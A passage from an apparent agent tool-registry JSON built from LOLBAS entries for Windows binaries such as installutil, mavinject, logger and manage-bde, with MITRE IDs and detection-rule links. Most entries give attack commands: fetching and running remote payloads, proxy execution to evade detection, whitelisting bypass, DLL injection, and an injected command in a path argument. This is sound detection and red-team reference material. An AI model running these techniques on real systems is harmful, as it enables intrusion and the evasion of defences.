        "url": "https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_misc_lolbin_connecting_to_the_internet.toml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml"
      },
      {
        "type": "ioc",
        "description": "Network connections originating from ieexec.exe may be suspicious"
      }
    ],
    "examples": [
      {
        "description": "Downloads and executes executable from the remote server. (Download and run attacker code from remote location)",
        "command": "ieexec.exe {REMOTEURL:.exe}"
      },
      {
        "description": "Downloads and executes executable from the remote server. (Download and run attacker code from remote location)",
        "command": "ieexec.exe {REMOTEURL:.exe}"
      }
    ],
    "execution": {
      "template": "ieexec",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "compression",
      "file-system",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip"
    ],
    "global_vars": {},
    "id": "windows-execution-ieexec",
    "install": [
      {
        "method": "choco",
        "package_name": "ieexec",
        "commands": [
          "choco install ieexec"
        ]
      }
    ],
    "mitre_ids": [
      "T1105",
      "T1218"
    ],
    "name": "ieexec",
    "namespace": "windows:execution:ieexec",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "https://room362.com/post/2014/2014-01-16-application-whitelist-bypass-using-ieexec-dot-exe/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "exfiltration",
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# ieframe\n\nieframe is a Windows LOLBin. Internet Browser DLL for translating HTML code. Located at: c:\\windows\\system32\\ieframe.dll; c:\\windows\\syswow64\\ieframe.dll.\n",
    "_source": "ieframe.md",
    "allowed-tools": [
      "ieframe"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "LOLBAS Team",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Internet Browser DLL for translating HTML code. Located at: c:\\windows\\system32\\ieframe.dll; c:\\windows\\syswow64\\ieframe.dll.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml"
      }
    ],
    "examples": [
      {
        "description": "Launch an executable payload via proxy through a(n) URL (information) file by calling OpenURL. (Load an executable payload by calling a .url file with or without quotes. The .url file extension can be renamed.)",
        "command": "rundll32.exe ieframe.dll,OpenURL {PATH_ABSOLUTE:.url}"
      }
    ],
    "execution": {
      "template": "ieframe",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-ieframe",
    "install": [
      {
        "method": "choco",
        "package_name": "ieframe",
        "commands": [
          "choco install ieframe"
        ]
      }
    ],
    "mitre_ids": [
      "T1218.011"
    ],
    "name": "ieframe",
    "namespace": "windows:execution:ieframe",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "http://www.hexacorn.com/blog/2018/03/15/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline-part-5/"
      },
      {
        "label": "",
        "url": "https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/"
      },
      {
        "label": "997690405092290561",
        "url": "https://twitter.com/bohops/status/997690405092290561"
      },
      {
        "label": "ieframe_dll.html",
        "url": "https://windows10dll.nirsoft.net/ieframe_dll.html"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# infdefaultinstall\n\ninfdefaultinstall is a Windows LOLBin. Binary used to perform installation based on content inside inf files Located at: C:\\Windows\\System32\\Infdefaultinstall.exe; C:\\Windows\\SysWOW64\\Infdefaultinstall.exe.\n",
    "_source": "infdefaultinstall.md",
    "allowed-tools": [
      "infdefaultinstall"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Binary used to perform installation based on content inside inf files Located at: C:\\Windows\\System32\\Infdefaultinstall.exe; C:\\Windows\\SysWOW64\\Infdefaultinstall.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_infdefaultinstall_execute_sct_scripts.yml"
      },
      {
        "type": "blockrule",
        "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules"
      }
    ],
    "examples": [
      {
        "description": "Executes SCT script using scrobj.dll from a command in entered into a specially prepared INF file. (Code execution)",
        "command": "InfDefaultInstall.exe {PATH:.inf}"
      }
    ],
    "execution": {
      "template": "infdefaultinstall",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-infdefaultinstall",
    "install": [
      {
        "method": "choco",
        "package_name": "infdefaultinstall",
        "commands": [
          "choco install infdefaultinstall"
        ]
      }
    ],
    "mitre_ids": [
      "T1218"
    ],
    "name": "infdefaultinstall",
    "namespace": "windows:execution:infdefaultinstall",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "911997635455852544",
        "url": "https://twitter.com/KyleHanslovan/status/911997635455852544"
      },
      {
        "label": "",
        "url": "https://blog.conscioushacker.io/index.php/2017/10/25/evading-microsofts-autoruns/"
      },
      {
        "label": "",
        "url": "https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# installutil\n\ninstallutil is a Windows LOLBin. The Installer tool is a command-line utility that allows you to install and uninstall server resources by executing the installer components in specified assemblies Located at: C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe; C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\InstallUtil.exe; C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.\n",
    "_source": "installutil.md",
    "allowed-tools": [
      "installutil"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.defense-evasion.bypass",
      "security.execution.command",
      "network.transfer.download"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "network_traffic",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "The Installer tool is a command-line utility that allows you to install and uninstall server resources by executing the installer components in specified assemblies Located at: C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallUtil.exe; C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\InstallUtil.exe; C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_instalutil_no_log_execution.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_installutil_download.yml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/cc241c0b5ec590d76cb88ec638d3cc37f68b5d50/rules/windows/defense_evasion_installutil_beacon.toml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml"
      }
    ],
    "examples": [
      {
        "description": "Execute the target .NET DLL or EXE. (Use to execute code and bypass application whitelisting)",
        "command": "InstallUtil.exe /logfile= /LogToConsole=false /U {PATH:.dll}"
      },
      {
        "description": "Execute the target .NET DLL or EXE. (Use to execute code and bypass application whitelisting)",
        "command": "InstallUtil.exe /logfile= /LogToConsole=false /U {PATH:.dll}"
      },
      {
        "description": "It will download a remote payload and place it in INetCache. (Downloads payload from remote server)",
        "command": "InstallUtil.exe {REMOTEURL}"
      }
    ],
    "execution": {
      "template": "installutil",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout",
      "remote",
      "stealth"
    ],
    "global_vars": {},
    "id": "windows-execution-installutil",
    "install": [
      {
        "method": "choco",
        "package_name": "installutil",
        "commands": [
          "choco install installutil"
        ]
      }
    ],
    "mitre_ids": [
      "T1218.004",
      "T1105"
    ],
    "name": "installutil",
    "namespace": "windows:execution:installutil",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "https://pentestlab.blog/2017/05/08/applocker-bypass-installutil/"
      },
      {
        "label": "AppLocker_Bypass_Techniques.html#menu_index_12",
        "url": "https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_12"
      },
      {
        "label": "T1218.004.md",
        "url": "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.004/T1218.004.md"
      },
      {
        "label": "",
        "url": "https://www.blackhillsinfosec.com/powershell-without-powershell-how-to-bypass-application-whitelisting-environment-restrictions-av/"
      },
      {
        "label": "",
        "url": "https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/"
      },
      {
        "label": "installutil-exe-installer-tool",
        "url": "https://docs.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "defense-evasion",
      "execution",
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# intellitrace\n\nintellitrace is a Windows LOLBin. Visual Studio command-line tool for collecting and managing diagnostic trace files. Located at: C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Common7\\IDE\\CommonExtensions\\Microsoft\\IntelliTrace\\IntelliTrace.exe; C:\\Program Files (x86)\\Microsoft Visual Studio\\2022\\Community\\Common7\\IDE\\CommonExtensions\\Microsoft\\IntelliTrace\\IntelliTrace.exe.\n",
    "_source": "intellitrace.md",
    "allowed-tools": [
      "intellitrace"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Avihay Eldad",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Visual Studio command-line tool for collecting and managing diagnostic trace files. Located at: C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Common7\\IDE\\CommonExtensions\\Microsoft\\IntelliTrace\\IntelliTrace.exe; C:\\Program Files (x86)\\Microsoft Visual Studio\\2022\\Community\\Common7\\IDE\\CommonExtensions\\Microsoft\\IntelliTrace\\IntelliTrace.exe.",
    "detections": [],
    "examples": [
      {
        "description": "Launches an executable via Visual Studio command line utility. (Executes an executable under a trusted microsoft signed binary.)",
        "command": "IntelliTrace.exe launch /cp:\"collectionplan.xml\" /f:\"c:\\users\\public\\log\" \"C:\\Windows\\System32\\calc.exe\""
      }
    ],
    "execution": {
      "template": "intellitrace",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-intellitrace",
    "install": [
      {
        "method": "choco",
        "package_name": "intellitrace",
        "commands": [
          "choco install intellitrace"
        ]
      }
    ],
    "mitre_ids": [
      "T1127"
    ],
    "name": "intellitrace",
    "namespace": "windows:execution:intellitrace",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "intellitrace",
        "url": "https://learn.microsoft.com/en-us/visualstudio/debugger/intellitrace"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# launch-vsdevshell\n\nlaunch-vsdevshell is a Windows LOLBin. Locates and imports a Developer PowerShell module and calls the Enter-VsDevShell cmdlet Located at: C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\Common7\\Tools\\Launch-VsDevShell.ps1; C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Common7\\Tools\\Launch-VsDevShell.ps1.\n",
    "_source": "launch-vsdevshell.md",
    "allowed-tools": [
      "launch-vsdevshell"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Nasreddine Bencherchali",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Locates and imports a Developer PowerShell module and calls the Enter-VsDevShell cmdlet Located at: C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\Common7\\Tools\\Launch-VsDevShell.ps1; C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Common7\\Tools\\Launch-VsDevShell.ps1.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/6199a703221a98ae6ad343c79c558da375203e4e/rules/windows/process_creation/proc_creation_win_lolbin_launch_vsdevshell.yml"
      }
    ],
    "examples": [
      {
        "description": "Execute binaries from the context of the signed script using the \"VsWherePath\" flag. (Proxy execution)",
        "command": "powershell -ep RemoteSigned -f .\\Launch-VsDevShell.ps1 -VsWherePath {PATH_ABSOLUTE:.exe}"
      },
      {
        "description": "Execute binaries and commands from the context of the signed script using the \"VsInstallationPath\" flag. (Proxy execution)",
        "command": "powershell -ep RemoteSigned -f .\\Launch-VsDevShell.ps1 -VsInstallationPath \"/../../../../../; {PATH:.exe} ;\""
      }
    ],
    "execution": {
      "template": "launch-vsdevshell",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip"
    ],
    "global_vars": {},
    "id": "windows-execution-launch-vsdevshell",
    "install": [
      {
        "method": "choco",
        "package_name": "launch-vsdevshell",
        "commands": [
          "choco install launch-vsdevshell"
        ]
      }
    ],
    "mitre_ids": [
      "T1216"
    ],
    "name": "launch-vsdevshell",
    "namespace": "windows:execution:launch-vsdevshell",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "1535981653239255040",
        "url": "https://twitter.com/nas_bench/status/1535981653239255040"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# logger\n\nlogger is a Windows LOLBin. A logging configuration tool from the Windows Kits used to start and manage process logging. Located at: C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x86\\logger.exe; C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\logger.exe; C:\\Program Files\\Windows Kits\\10\\Debuggers\\x86\\logger.exe.\n",
    "_source": "logger.md",
    "allowed-tools": [
      "logger"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Avihay Eldad",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "A logging configuration tool from the Windows Kits used to start and manage process logging. Located at: C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x86\\logger.exe; C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\logger.exe; C:\\Program Files\\Windows Kits\\10\\Debuggers\\x86\\logger.exe.",
    "detections": [],
    "examples": [
      {
        "description": "Executes the command specified after the `RUN` parameter as a child of `logger.exe`. (Executes an abitrary command via a signed binary to evade detection.)",
        "command": "logger.exe RUN \"{CMD}\""
      },
      {
        "description": "Executes the command specified after the `RUNW` parameter as a child of `logger.exe`. (Executes an abitrary command via a signed binary to evade detection.)",
        "command": "logger.exe RUNW \"{CMD}\""
      },
      {
        "description": "Executes the command specified as a child of `logger.exe`. (Executes an abitrary command via a signed binary to evade detection.)",
        "command": "logger.exe \"{CMD}\""
      }
    ],
    "execution": {
      "template": "logger",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "compression",
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip"
    ],
    "global_vars": {},
    "id": "windows-execution-logger",
    "install": [
      {
        "method": "choco",
        "package_name": "logger",
        "commands": [
          "choco install logger"
        ]
      }
    ],
    "mitre_ids": [
      "T1202"
    ],
    "name": "logger",
    "namespace": "windows:execution:logger",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "logger",
        "url": "https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/logger"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# manage-bde\n\nmanage-bde is a Windows LOLBin. Script for managing BitLocker Located at: C:\\Windows\\System32\\manage-bde.wsf.\n",
    "_source": "manage-bde.md",
    "allowed-tools": [
      "manage-bde"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Script for managing BitLocker Located at: C:\\Windows\\System32\\manage-bde.wsf.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_manage_bde.yml"
      },
      {
        "type": "ioc",
        "description": "Manage-bde.wsf should not be invoked by a standard user under normal situations"
      }
    ],
    "examples": [
      {
        "description": "Set the comspec variable to another executable prior to calling manage-bde.wsf for execution. (Proxy execution from script)",
        "command": "set comspec={PATH_ABSOLUTE:.exe} & cscript c:\\windows\\system32\\manage-bde.wsf"
      },
      {
        "description": "Run the manage-bde.wsf script with a payload named manage-bde.exe in the same directory to run the payload file. (Proxy execution from script)",
        "command": "copy c:\\users\\person\\evil.exe c:\\users\\public\\manage-bde.exe & cd c:\\users\\public\\ & cscript.exe c:\\windows\\system32\\manage-bde.wsf"
      }
    ],
    "execution": {
      "template": "manage-bde",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-manage-bde",
    "install": [
      {
        "method": "choco",
        "package_name": "manage-bde",
        "commands": [
          "choco install manage-bde"
        ]
      }
    ],
    "mitre_ids": [
      "T1216"
    ],
    "name": "manage-bde",
    "namespace": "windows:execution:manage-bde",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "735edb7494fe1bd1010d67823842b712",
        "url": "https://gist.github.com/bohops/735edb7494fe1bd1010d67823842b712"
      },
      {
        "label": "980659399495741441",
        "url": "https://twitter.com/bohops/status/980659399495741441"
      },
      {
        "label": "1223292479270600706",
        "url": "https://twitter.com/JohnLaTwC/status/1223292479270600706"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# mavinject\n\nmavinject is a Windows LOLBin. Used by App-v in Windows Located at: C:\\Windows\\System32\\mavinject.exe; C:\\Windows\\SysWOW64\\mavinject.exe.\n",
    "_source": "mavinject.md",
    "allowed-tools": [
      "mavinject"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command",
      "system.file.alternate-data-stream"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "filesystem_write",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Used by App-v in Windows Located at: C:\\Windows\\System32\\mavinject.exe; C:\\Windows\\SysWOW64\\mavinject.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_mavinject_process_injection.yml"
      },
      {
        "type": "ioc",
        "description": "mavinject.exe should not run unless APP-v is in use on the workstation"
      }
    ],
    "examples": [
      {
        "description": "Inject evil.dll into a process with PID 3110. (Inject dll file into running process)",
        "command": "MavInject.exe 3110 /INJECTRUNNING {PATH_ABSOLUTE:.dll}"
      },
      {
        "description": "Inject file.dll stored as an Alternate Data Stream (ADS) into a process with PID 4172 (Inject dll file into running process)",
        "command": "Mavinject.exe 4172 /INJECTRUNNING {PATH_ABSOLUTE}:file.dll"
      }
    ],
    "execution": {
      "template": "mavinject",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "stealth",
      "streaming"
    ],
    "global_vars": {},
    "id": "windows-execution-mavinject",
    "install": [
      {
        "method": "choco",
        "package_name": "mavinject",
        "commands": [
          "choco install mavinject"
        ]
      }
    ],
    "mitre_ids": [
      "T1218.013",
      "T1564.004"
    ],
    "name": "mavinject",
    "namespace": "windows:execution:mavinject",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "941315826107510784",
        "url": "https://twitter.com/gN3mes1s/status/941315826107510784"
      },
      {
        "label": "776122138063409152",
        "url": "https://twitter.com/Hexcorn/status/776122138063409152"
      },
      {
        "label": "",
        "url": "https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# mftrace\n\nmftrace is a Windows LOLBin. Trace log generation tool for Media Foundation Tools. Located at: C:\\Program Files (x86)\\Windows Kits\\10\\bin\\10.0.16299.0\\x86\\mftrace.exe; C:\\Program Files (x86)\\Windows Kits\\10\\bin\\10.0.16299.0\\x64\\mftrace.exe; C:\\Program Files (x86)\\Windows Kits\\10\\bin\\x86\\mftrace.exe.\n",
    "_source": "mftrace.md",
    "allowed-tools": [
      "mftrace"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Trace log generation tool for Media Foundation Tools. Located at: C:\\Program Files (x86)\\Windows Kits\\10\\bin\\10.0.16299.0\\x86\\mftrace.exe; C:\\Program Files (x86)\\Windows Kits\\10\\bin\\10.0.16299.0\\x64\\mftrace.exe; C:\\Program Files (x86)\\Windows Kits\\10\\bin\\x86\\mftrace.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/19396788dbedc57249a46efed2bb1927abc376d4/rules/windows/process_creation/proc_creation_win_lolbin_mftrace.yml"
      }
    ],
    "examples": [
      {
        "description": "Launch specified executable as a subprocess of Mftrace.exe. (Local execution of cmd.exe as a subprocess of Mftrace.exe.)",
        "command": "Mftrace.exe {PATH:.exe}"
      }
    ],
    "execution": {
      "template": "mftrace",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-mftrace",
    "install": [
      {
        "method": "choco",
        "package_name": "mftrace",
        "commands": [
          "choco install mftrace"
        ]
      }
    ],
    "mitre_ids": [
      "T1127"
    ],
    "name": "mftrace",
    "namespace": "windows:execution:mftrace",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "988911181422186496",
        "url": "https://twitter.com/0rbz_/status/988911181422186496"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# microsoft-nodejstools-pressanykey\n\nmicrosoft-nodejstools-pressanykey is a Windows LOLBin. Part of the NodeJS Visual Studio tools. Located at: C:\\Program Files\\Microsoft Visual Studio\\<version>\\Community\\Common7\\IDE\\Extensions\\Microsoft\\NodeJsTools\\NodeJsTools\\Microsoft.NodejsTools.PressAnyKey.exe; C:\\Program Files (x86)\\Microsoft Visual Studio\\<version>\\Community\\Common7\\IDE\\Extensions\\Microsoft\\NodeJsTools\\NodeJsTools\\Microsoft.NodejsTools.PressAnyKey.exe.\n",
    "_source": "microsoft-nodejstools-pressanykey.md",
    "allowed-tools": [
      "microsoft-nodejstools-pressanykey"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "mr.d0x",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
